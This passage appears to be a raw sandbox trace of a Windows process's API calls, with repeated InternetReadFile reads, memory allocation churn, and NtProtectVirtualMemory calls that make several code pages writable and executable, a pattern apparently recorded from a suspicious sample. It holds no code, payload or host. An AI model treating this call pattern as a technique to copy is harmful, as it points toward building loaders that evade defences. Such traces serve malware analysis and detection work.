(lpAddress=0x1e824000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e824000 [0144.243] VirtualFree (lpAddress=0x1e810000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0144.244] VirtualAlloc (lpAddress=0x1ee00000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ee00000 [0144.244] VirtualFree (lpAddress=0x1e828000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0144.245] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0xa388) returned 1 [0144.359] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.359] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.360] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.360] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.360] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.361] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.361] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.361] VirtualAlloc (lpAddress=0x1e828000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e828000 [0144.362] VirtualFree (lpAddress=0x1e820000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0144.362] VirtualAlloc (lpAddress=0x1ee08000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ee08000 [0144.363] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.363] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0144.603] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.604] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.604] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.605] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.605] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.605] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.606] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.606] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0144.607] VirtualFree (lpAddress=0x1e824000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0144.608] VirtualAlloc (lpAddress=0x1ee10000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ee10000 [0144.608] VirtualFree (lpAddress=0x1e7f4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0144.609] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.609] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x55c) returned 1 [0144.610] VirtualFree (lpAddress=0x1e7e4000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0144.610] VirtualAlloc (lpAddress=0x1ee20000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ee20000 [0144.610] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x77e8) returned 1 [0144.688] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.689] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.689] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.689] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.691] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0144.691] VirtualFree (lpAddress=0x1e7f0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0144.692] VirtualAlloc (lpAddress=0x1ee24000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ee24000 [0144.692] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.693] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0144.829] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.831] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.831] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.831] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.831] VirtualAlloc (lpAddress=0x1e7ec000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7ec000 [0144.833] VirtualFree (lpAddress=0x1e7e4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0144.833] VirtualAlloc (lpAddress=0x1ee28000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ee28000 [0144.833] VirtualFree (lpAddress=0x1e7fc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0144.834] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.835] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0xac8) returned 1 [0144.835] VirtualFree (lpAddress=0x1e7e8000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0144.835] VirtualAlloc (lpAddress=0x1ee38000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ee38000 [0144.836] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x7d5c) returned 1 [0144.896] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.897] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.897] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.898] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.898] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.898] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.899] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.899] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0144.900] VirtualFree (lpAddress=0x1e7f8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0144.900] VirtualAlloc (lpAddress=0x1ee3c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ee3c000 [0144.901] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.901] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0145.036] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.037] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.038] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.038] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.039] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.039] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.039] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.040] VirtualAlloc (lpAddress=0x1e7ec000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7ec000 [0145.041] VirtualFree (lpAddress=0x1e7e4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0145.042] VirtualAlloc (lpAddress=0x1ee44000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ee44000 [0145.042] VirtualFree (lpAddress=0x1e7fc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0145.051] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.051] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x51ac) returned 1 [0145.052] VirtualAlloc (lpAddress=0x1e7fc000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7fc000 [0145.053] VirtualFree (lpAddress=0x1e7e8000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0145.053] VirtualAlloc (lpAddress=0x1ee54000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ee54000 [0145.054] VirtualFree (lpAddress=0x1e800000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0145.054] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x3680) returned 1 [0145.067] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.068] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.068] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.069] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.069] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.070] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.070] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.071] VirtualAlloc (lpAddress=0x1e800000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e800000 [0145.071] VirtualFree (lpAddress=0x1e7f8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0145.072] VirtualAlloc (lpAddress=0x1ee58000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ee58000 [0145.072] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.073] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x574) returned 1 [0145.073] VirtualFree (lpAddress=0x1e7fc000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0145.073] VirtualAlloc (lpAddress=0x0, dwSize=0x280000, flAllocationType=0x2000, flProtect=0x1) returned 0x1ee70000 [0145.075] VirtualAlloc (lpAddress=0x1ee70000, dwSize=0x268000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ee70000 [0145.082] VirtualAlloc (lpAddress=0x1ee5c000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ee5c000 [0145.115] VirtualFree (lpAddress=0x1ed70000, dwSize=0xe8000, dwFreeType=0x4000) returned 1 [0145.121] VirtualFree (lpAddress=0x1ebe0000, dwSize=0x190000, dwFreeType=0x4000) returned 1 [0145.130] VirtualFree (lpAddress=0x1ebe0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0145.133] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x8844) returned 1 [0145.134] VirtualAlloc (lpAddress=0x1ed70000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ed70000 